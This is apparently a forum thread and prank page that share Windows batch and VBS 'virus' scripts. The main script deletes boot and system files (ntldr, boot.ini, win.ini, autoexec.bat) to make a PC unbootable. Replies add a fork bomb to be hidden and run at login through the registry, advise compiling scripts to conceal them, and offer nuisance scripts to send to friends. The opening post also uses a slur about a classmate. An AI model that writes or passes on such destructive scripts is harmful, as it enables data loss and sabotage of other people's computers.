    Introduction



    Hey guys haven't posted in a while I have been doing a lot of school work, and there some retarded chick in my class that annoys that crap out me.

    Background



    Um I have been working on this for a while and a finally got to virus rating from MacAffe. yay XDXDXDXD

    The code



    its a batch file that wipes that start-up files of a computer, so don’t be a noob ad test it out on your own computer coz it'll screw your computer up and the only way to fix it is to re-image your computer fully (wipe the hard drive and re-install windows again LOL)

    Code:
    
    -----Disclaimer - Not to be used to damage/harm other people’s computer systems----------
    
    @echo off
    attrib -r -s -h c:\autoexec.bat
    del c:\autoexec.bat
    attrib -r -s -h c:\boot.ini
    del c:\boot.ini
    attrib -r -s -h c:\ntldr
    del c:\ntldr
    attrib -r -s -h c:\windows\win.ini
    del c:\windows\win.ini
    
    
    
    D

    Have fun lol

    eay way to do this. click on tools-> folder options
    In that select view tab, in that remove the checked item "Hide protected operating system files (Recommended)". then u can easily delete all these files without typing anything.

    And this cannot be called a virus mate.

    A batch can done the complete damage.
    Why not code this file using C++ or C, then nobody will be able to see the source code even

    Or just compile the batch file into a EXE.

    Batch file viruses are fun because of how much you can do with them.

    Code:
    @echo off
    :1
    start
    goto 1
    
    I am not the Windows expert I used to be, but just add this file to a hidden location and add a registry key to make it run after logging in and it should make the computer freak out every time after logging on. I am not sure if it will overload the memory everytime (which causes a crash) though.

    You wouldn't have to re-image your disk per-say. You would just have to copy the four system files from a working windows machine to the "broken" machines root directory using a Linux livecd/liveusb distro (like backtrack). I have done this many times before, and it really isn't all that difficult. Just make sure you replace the same files you lost with equal files of the same name.

    common download the file and lets make the guest account to administrator account.

    This simple computer prank consists of a code below that will drive your friend crazy as it opens notepad continuously.

    When you type the below code and rename it as *.bat it take the above showed icon shape.

    To Open Notepad continuously in your friend’s computer:


    Type the code in notepad as :

    @ECHO off
    :top
    START %SystemRoot%\system32\notepad.exe
    GOTO top

    Save it as “notepad.BAT” and send it.

    Note: If you want to try it, then go ahead and when you built this file double click to open it. But beware it slows your system and you will be left with no other option than to restart, as this script opens 100’s of notepad window. So, If you want to try this than save all your work and then run this file.

    What this trick does is, when you run the following script it starts blinking caps Lock light continuously. If you run this script twice the rate of blink increases and alternatively NumLock light start to blink with CapsLock.
    Open Notepad and Type :


    Set wshShell =wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{CAPSLOCK}”
    loop


    Save it as “Caps.VBS” and send it to your friend. Double Click it if you wanna see it working. Its a very funny Notepad Trick.

    Note: Don’t worry when you try this crazy notepad trick. If you want to end this script simply Open Task Manager(Alt+Ctrl+Delete). Under Processes end the process “wscript.exe”
